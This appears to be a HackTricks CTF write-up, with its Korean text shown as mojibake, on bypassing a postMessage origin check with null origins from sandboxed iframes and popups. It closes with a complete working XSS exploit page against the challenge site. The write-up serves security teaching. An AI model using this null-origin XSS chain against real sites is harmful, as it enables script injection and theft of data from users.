Bypassing SOP with Iframes - 1
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Iframes in SOP-1
์ด ๋์ ๊ณผ์ ๋ NDevTK์ Terjanq๊ฐ ๋ง๋ ๊ฒ์ผ๋ก, ์ฝ๋ฉ๋ XSS๋ฅผ ์ด์ฉํด์ผ ํฉ๋๋ค.
const identifier = "4a600cd2d4f9aa1cfb5aa786"
onmessage = (e) => {
const data = e.data
if (e.origin !== window.origin && data.identifier !== identifier) return
if (data.type === "render") {
renderContainer.innerHTML = data.body
}
}
์ฃผ์ ๋ฌธ์ ๋ ๋ฉ์ธ ํ์ด์ง๊ฐ DomPurify๋ฅผ ์ฌ์ฉํ์ฌ data.body๋ฅผ ์ ์กํ๊ธฐ ๋๋ฌธ์, ์์ ์ HTML ๋ฐ์ดํฐ๋ฅผ ํด๋น ์ฝ๋๋ก ์ ์กํ๋ ค๋ฉด bypass e.origin !== window.origin์ ํด์ผ ํ๋ค๋ ๊ฒ์
๋๋ค.
์ ์๋ ํด๊ฒฐ์ฑ ์ ์ดํด๋ณด๊ฒ ์ต๋๋ค.
SOP bypass 1 (e.origin === null)
//example.org๊ฐ sandboxed iframe์ ํฌํจ๋๋ฉด, ํ์ด์ง์ origin์ **null**์ด ๋ฉ๋๋ค. ์ฆ, **window.origin === null**์
๋๋ค. ๋ฐ๋ผ์ <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">๋ฅผ ํตํด iframe์ ํฌํจ์ํค๊ธฐ๋ง ํ๋ฉด null origin์ ๊ฐ์ ํ ์ ์์ต๋๋ค.
ํ์ด์ง๊ฐ embeddable์ด์๋ค๋ฉด, ๊ทธ ๋ฐฉ๋ฒ์ผ๋ก ๋ณดํธ๋ฅผ ์ฐํํ ์ ์์ต๋๋ค (์ฟ ํค๋ SameSite=None์ผ๋ก ์ค์ ํด์ผ ํ ์๋ ์์ต๋๋ค).
SOP bypass 2 (window.origin === null)
๋ ์๋ ค์ง ์ฌ์ค์ sandbox ๊ฐ allow-popups๊ฐ ์ค์ ๋๋ฉด ์ด๋ฆฐ ํ์
์ด ๋ชจ๋ sandboxed attributes๋ฅผ ์์๋ฐ๋๋ค๋ ๊ฒ์
๋๋ค. allow-popups-to-escape-sandbox๊ฐ ์ค์ ๋์ง ์๋ ํ, null origin์์ ํ์
์ ์ด๋ฉด ํ์
๋ด๋ถ์ **window.origin**๋ **null**์ด ๋ฉ๋๋ค.
Challenge Solution
๋ฐ๋ผ์ ์ด ์ฑ๋ฆฐ์ง์์๋ iframe์ ์์ฑํ๊ณ , ์ทจ์ฝํ XSS ์ฝ๋ ํธ๋ค๋ฌ๊ฐ ์๋ ํ์ด์ง(/iframe.php)๋ก ํ์
์ ์ด๋ฉด, window.origin === e.origin์ด๋ฏ๋ก ๋ ๊ฐ์ด ๋ชจ๋ null์ด๊ธฐ ๋๋ฌธ์ XSS๋ฅผ ์ด์ฉํ ์ ์๋ ํ์ด๋ก๋๋ฅผ ์ ์กํ ์ ์์ต๋๋ค.
๊ทธ ํ์ด๋ก๋๋ ์๋ณ์๋ฅผ ๊ฐ์ ธ์์ XSS๋ฅผ ์์ ํ์ด์ง(ํ์
์ ์ฐ ํ์ด์ง)๋ก ์ ์กํ๋ฉฐ, ์์ ํ์ด์ง๋ ์ทจ์ฝํ /iframe.php๋ก ์์น ๋ณ๊ฒฝ์ ํฉ๋๋ค. ์๋ณ์๊ฐ ์๋ ค์ ธ ์๊ธฐ ๋๋ฌธ์ window.origin === e.origin ์กฐ๊ฑด์ด ๋ง์กฑ๋์ง ์์๋ ์๊ด์์ต๋๋ค (๊ธฐ์ตํ์ธ์, origin์ origin์ด **null**์ธ iframe์ ํ์
์
๋๋ค) ์๋ํ๋ฉด data.identifier === identifier์ด๊ธฐ ๋๋ฌธ์
๋๋ค. ๊ทธ๋ฌ๋ฉด XSS๊ฐ ๋ค์ ํธ๋ฆฌ๊ฑฐ๋๋ฉฐ, ์ด๋ฒ์๋ ์ฌ๋ฐ๋ฅธ origin์์ ๋ฐ์ํฉ๋๋ค.
<body>
<script>
f = document.createElement("iframe")
// Needed flags
f.sandbox = "allow-scripts allow-popups allow-top-navigation"
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll("\n", " ")
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f)
</script>
</body>
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


